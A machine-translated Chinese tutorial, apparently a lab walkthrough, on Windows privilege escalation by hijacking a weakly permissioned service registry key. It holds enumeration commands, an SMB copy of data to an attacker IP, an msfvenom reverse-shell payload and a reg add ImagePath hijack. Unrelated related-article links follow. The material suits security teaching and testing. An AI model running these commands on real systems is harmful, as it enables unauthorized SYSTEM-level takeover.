本文通过 Google 翻译 Weak Registry Key Permissions – Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。


导航


0、前言

在这篇文章中,我们将学习一种涉及注册表的权限提升技术。我们将看到,由于服务注册表权限管理的薄弱,导致攻击者可以由标准用户权限提升到本地 SYSTEM 权限。

首先,我们会使用几种不同的枚举工具去查找与服务相关的注册表项,试图找到任何权限较弱的键。其次,在这个键下面寻找与服务绑定信息相关的值(主要是 imagePath 值)。然后,我们会制作一个恶意程序,并将这个 imagePath 的值从原始路径替换为指向恶意程序的路径。最后,重启该服务,该服务将执行恶意 EXE 并为我们提供一个 SYSTEM shell。

通过篡改服务使用的注册表项,攻击者可以操纵服务可执行文件的执行位置。攻击者可能没有任何权限滥用服务本身,但如果能够滥用与该服务相关的注册表项,攻击者就有能力绕过权限限制直接操纵服务。

由于注册表是应用程序和系统组件(例如服务)存储配置数据的地方,而如果我们能够操纵服务存储配置数据的位置,那么也就意味着我们可以改变服务启动程序的位置。

注:注册表相关术语名词介绍。

键(Key):类似于文件系统中的“文件夹”,用于存储注册表值。

根键(Root Key):注册表的最高层级键,共有五个主要根键,分别是:HKCU(存储当前登录用户的配置信息)、HKLM(存储计算机范围内的配置信息)、HKU(存储计算机上所有用户的配置信息)、HKCR(存储文件扩展名、程序关联信息等)、HKCC(存储当前硬件配置文件的动态数据)。

子键(Subkey):键中的子层级,例如 HKEY_LOCAL_MACHINE\SYSTEM 中,SYSTEMHKEY_LOCAL_MACHINE 的子键。

值(Value):存储在键中的具体数据,每个键可以包含多个值。

注册表项(Registry Entry):指具体的键或值。

注册表路径(Registry Path):访问注册表中某个键的完整路径,

注册表权限:控制哪些用户或程序可以读取、修改注册表键值。

注册表脚本(.reg 文件):用于批量导入或修改注册表的文本文件。

1、搜寻服务的弱权限注册表项

在搜寻有关服务的注册表项时,我们主要的关注点是 HKLM\SYSTEM\CurrentControlSet\Services 路径下面的子键,因为这里是专门用来存储系统中所有服务配置数据的地方。

在接下来的示例中,假设我们已经作为标准用户 cmarko 在目标机上获得了立足点。

有多种方法可以用来枚举注册表项的弱权限,但在本例中,我们通过只使用两种不同的工具和一种手动方法去枚举注册表项的权限。

1.1、枚举弱权限注册表项:accesschk.exe

我们要探索的第一种枚举注册表权限的技术,是使用 Sysinterals 工具套件中的 accesschk.exe 工具。

首先根据受害者机器的系统架构去下载对应的 accesschk 版本,然后将其传输到受害者机器上。

systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"

为了能更好的使用 accesschk 工具和理解它输出的内容,我们要对下面这些用户/组有所了解:

  • %USERNAME% 代表当前登录用户,如 bob。
  • Authenticated Users【注:通过 控制台、RDP、WinRM、SMB 登录系统的用户都属于已认证用户。】
  • Everyone
  • BUILTIN\Users
  • NT AUTHORITY\INTERACTIVE

如果在枚举服务相关的注册表项时,能够发现以上任意一个用户/组拥有写入权限,那我们就可利用这个服务。

使用 accesschk 时,我们首先检查当前用户,因为当前用户可能默认属于这些组中的大多数。【最主要的是,查看其它组的最终目的不还是为了当前用户吗】

accesschk64.exe "%USERNAME%" -kvuqsw hklm\System\CurrentControlSet\services -accepteula

可以看到,当前用户对 Juggernaut 服务的注册表项拥有 ALL_ACCESS 权限,即“完全控制”的权限。【而该权限的由来,可能是因为这个注册表项就是针对这个用户本身开放的 ALL_ACCESS 权限,也可能是针对某个组开放的权限,只不过当前用户正好就在其中。】

此外,也可以通过以下命令分别查询其它组拥有哪些服务的注册表项写入权限:

accesschk64.exe "Everyone" -kqswvu hklm\System\CurrentControlSet\services -accepteula

accesschk64.exe "Authenticated Users" -kqswvu hklm\System\CurrentControlSet\services -accepteula

accesschk64.exe "BUILTIN\Users" -kqswvu hklm\System\CurrentControlSet\services -accepteula

accesschk64.exe "NT AUTHORITY\INTERACTIVE" -kqswvu hklm\System\CurrentControlSet\services -accepteula

为了更好的理解 accesschk 工具参数的用法,可以查看此手册

1.2、枚举弱权限注册表项:PowerShell + Linux-Fu

第二种查找服务弱权限注册表项的方法是使用 PowerShell 的 cmdlet,可使用以下命令:

Get-Acl -Path hklm:\System\CurrentControlSet\services\* | Format-List

由于输出内容较多,因此,可以将输出重定向到文件,然后发送回我们的攻击机慢慢查看。

Get-Acl -Path hklm:\System\CurrentControlSet\services\* | Format-List | Out-File -FilePath C:\temp\service_keys.txt

将此文件发送回攻击机的最方便的方法是在攻击机使用以下命令启动一个 SMB 服务:

impacket-smbserver share $(pwd) -smb2support

然后回到受害者机器,使用以下命令将文件发送到攻击者机器:

copy C:\temp\service_keys.txt \\172.16.1.30\share

查看两侧文件的字节大小是否一样,以确保文件的传输是正常的。同时,由于 Windows 和 Linux 关于文本文件格式不同的问题,我们需要在攻击机通过 dos2unix 命令将其格式进行转换,然后才能使用 grep 命令去提取我们感兴趣的信息。

由于该文件非常庞大,因此,我们需要使用一些 Linux 技巧,以将输出内容缩减到只包含我们感兴趣的信息,这样才能更容易地发现异常值。

cat service_keys.txt | grep -i "Path\|Access\|BUILTIN\\\Users\|Everyone\|INTERACTIVE\|Authenticated Users"

输出的内容依旧很多,但基本上就是一条 Path 对应一条 Access,同时还看到许多显示“ ReadKey”的权限。

为此,我们需要使用以下命令省略 ReadKey 的输出:

cat service_keys.txt | grep -i "Path\|Access\|BUILTIN\\\Users\|Everyone\|INTERACTIVE\|Authenticated Users" | grep -v "ReadKey"

这次,虽然“ReadKey”没有了,但 Path 和 Access 一对一的关系也被打破了,好多 Access 的行会粘连在一块。为此,我们需要再次筛选只会在 Access 行中出现的 Authenticated Users、FullControl 等关键信息,并指定行被匹配的同时还要附带匹配行上面的一行信息,即 -B 1,最终命令如下:

cat service_keys.txt | grep -i "Path\|Access\|BUILTIN\\\Users\|Everyone\|INTERACTIVE\|Authenticated Users" | grep -v "ReadKey" | grep -B 1 -i "Authenticated Users|\BUILTIN\\\Users\|Everyone\|INTERACTIVE\|FullControl\|Modify\|Write"

这次效果就好多了,输出内容由刚开始的 10,000 多行减少到了大约 40 行,在这 40 行的数据中我们很快就发现了异常!

当找到了弱权限的注册表路径后,就可以使用 Get-Acl 进行专项查询:

Get-Acl -Path hklm:\System\CurrentControlSet\services\Juggernaut | Format-List

1.3、枚举弱权限注册表项:winPEAS.exe

第三种查找服务弱权限注册表项的方法是使用 winPEAS.exe 枚举工具,而这可能是查找弱权限注册表项最简单的方法。

将 winPEASx64.exe 的副本下载并传输到受害者机器上。

执行 winPEAS 之后,我们可以在“Services Information”部分找到任何错误配置的服务注册表项。

2、分析服务的弱权限注册表项

在经过上面的枚举之后,我们找到了一个令人感兴趣的服务注册表项:Juggernaut。接下来,我们就需要针对这个键去查看它下面和服务相关的值的信息。

可以使用 cmd.exe 或 PowerShell 命令去枚举服务。

使用 cmd.exe:

reg query "HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\Juggernaut"

使用 PowerShell:

Get-Item -Path Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\Juggernaut

在上面的输出中,可以看到键值“ImagePath”指向了 C:\Program Files\Juggernaut\Juggernaut.exe 文件,而这就是服务的启动程序;键值“ObjectName”是 LocalSystem,表示服务以 SYSTEM 身份运行;键值“Start”是 2,表示服务可以通过开机自启动。

又尝试看了一下 C:\Program Files\Juggernaut\目录和 Juggernaut.exe 文件的权限,发现我们并没有写入的权限(权限标识中没有出现 F、M、W 这些字符)。

icacls "C:\Program Files\Juggernaut\Juggernaut.exe"
icacls "C:\Program Files\Juggernaut"

此时,有趣的地方出现了。虽然我们没有服务启动程序所在目录和文件的修改权限,但由于我们有权限修改该服务的注册表项,因此就可以通过更改服务注册表键值“ImagePath”的路径来指向我们控制的文件。

由于这项服务是可以自启动的,而我们又拥有该主机的重启操作,因此我们就可以通过重启系统来强制重启服务。

3、利用服务的弱权限注册表项

3.1、制作恶意程序

接着,我们需要制作一个恶意程序以供利用使用:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f exe -o pwnt.exe

准备就绪后,我们将其转移到受害者机器上。

3.2、利用注册表键

接下来,我们需要做的第一件事就是更改 Juggernaut 服务注册表键值上的 ImagePath,使其指向我们受控的恶意程序。可以使用以下命令来完成这项工作:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Juggernaut" /v ImagePath /t REG_EXPAND_SZ /d "C:\temp\pwnt.exe" /f

成功修改 ImagePath 以指向受控的恶意程序后,我们需要返回攻击者机器,启动一个 443 端口的 netcat 监听器,然后重启受害者主机。

shutdown /r /t 0

等待大约20秒钟后,回到监听器,看到我们获得了一个 SYSTEM shell!

Windows 提权-服务_弱注册表权限的更多相关文章

  1. 2017-2018-2 20155315《网络对抗技术》免考五:Windows提权

    原理 使用metasploit使目标机成功回连之后,要进一步攻击就需要提升操作权限.对于版本较低的Windows系统,在回连的时候使用getsystem提权是可以成功的,但是对于更高的系统操作就会被拒 ...

  2. 使用REGINI修改注册表权限

    regini regset.ini 就行啦 regset.ini 是你要修改的数据 1.注册表修改 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr ...

  3. 35.windows提权总结

    本文参考自冷逸大佬的博客,源地址在这里:https://lengjibo.github.io/windows%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/ windows提 ...

  4. 「白帽黑客成长记」Windows提权基本原理(下)

    上一篇文章我们介绍了信息收集方法和WMIC,今天我们将跟随作者深入学习Windows提权基本原理的内容,希望通过这两篇文章的讲解,大家能够真正掌握这个技能. 推荐阅读:「白帽黑客成长记」Windows ...

  5. [转帖]「白帽黑客成长记」Windows提权基本原理(下)

    「白帽黑客成长记」Windows提权基本原理(下) https://www.cnblogs.com/ichunqiu/p/10968674.html 提权.. 之前还在想 为什么 我的 sqlserv ...

  6. Windows提权小结

    摸鱼的时候,想想内网这部分还有什么地方适合水一下,翻翻往期,开始填坑 总结一下Windows提权的部分,以后有时间再补一下Linux提权 这仍然是一篇思路总结类的随笔,具体细节内容不展开,也展开不了. ...

  7. 「白帽黑客成长记」Windows提权基本原理(上)

    我们通常认为配置得当的Windows是安全的,事实真的是这样吗?今天让我们跟随本文作者一起深入了解Windows操作系统的黑暗角落,看看是否能得到SYSTEM权限. 作者将使用不同版本的Windows ...

  8. [转帖]「白帽黑客成长记」Windows提权基本原理(上)

    「白帽黑客成长记」Windows提权基本原理(上) https://www.cnblogs.com/ichunqiu/p/10949592.html 我们通常认为配置得当的Windows是安全的,事实 ...

  9. C#高级编程笔记(22至25章节)文件\注册表\权限\事务

    22安全(using System.Security.Principal;) AppDomain.CurrentDomain.SetPrincipalPolicy(PrincipalPolicy.Wi ...

  10. Windows中添加自己的程序到开机启动中(添加服务,添加注册表)

    在系统启动的时候启动自己想要启动的程序: 方法一:利用开机启动文件夹 将exe文件或exe文件的快捷方式复制到(启动)文件夹下 以win7为例:开始→所有程序→启动→鼠标右键打开 方法二:添加系统服务 ...

随机推荐

  1. Solution Set -「LOCAL」冲刺省选 Round XXXI

    \(\mathscr{Summary}\)   前期节奏太懒散,后面发现 C 题是水题都没时间写,提起精神来啊!   A 题卡得比较久,对线性基的理解不够深刻,思来想去半天才把转移系数调对.B 题也卡 ...

  2. 注册表判断是否安装微软Edge浏览器

    自己摸索的,注册表判断是否安装微软Edge浏览器: bool checkInstalledMsEdge() { try { using(var ieKey = Registry.LocalMachin ...

  3. 手把手教你编写自定义Categraf插件

    本文分享自天翼云开发者社区<手把手教你编写自定义Categraf插件>,作者:任****佳 Categraf 是一个监控采集 Agent,类似 Telegraf.Grafana-Agent ...

  4. 生成对抗网络GAN简介

    本文分享自天翼云开发者社区<生成对抗网络GAN简介>,作者:王****青 生成对抗网络(Generative Adversarial Networks,GAN)是一种深度敏感词模型,用于生 ...

  5. 炸裂:SpringAI内置DeepSeek啦!

    好消息,Spring AI 最新快照版已经内置 DeepSeek 了,所以以后项目中对接 DeepSeek 就方便多了.但因为快照版会有很多 Bug,所以今天咱们就来看稳定版的 Spring AI 如 ...

  6. 2023LN省选游记

    前言 CSP第一轮都考完了,我才写这个游记.我真懒惰 书接上回 正文 Day -114514 我也没想到我居然能报省选. 报上了.准备去爆零. Day -114513~Day -1 学习暴力算法以及痛 ...

  7. WPF Expander style

    <!--ExpanderStyle--> <Style x:Key="ExpanderStyleOne" TargetType="{x:Type Exp ...

  8. 本地部署Grok2.0

    Grok-beta2.0(通过ChatBox实现) 个人使用: 1.注册登录 官方地址https://x.ai/ 2.创建API密钥 地址https://console.x.ai/ 3.登录githu ...

  9. 网口CE超标了~

    前不久遇到一个网口传导测试超标的问题,今天在此分享下,希望各位能有所收获~ 背景 在对量产产品EMC抽检时,发现网口CE测试在537KHz处超标2.84dB 因为是网口传导测试,所以首先检查与网口相关 ...

  10. python进行大乐透和双色球选号(LSTM预测和随机选号)

    文章仅供参考学习 1.LSTM预测 首先去爬取数据 这个是爬取大乐透的,从07年爬到最新一期 import requests from bs4 import BeautifulSoup import ...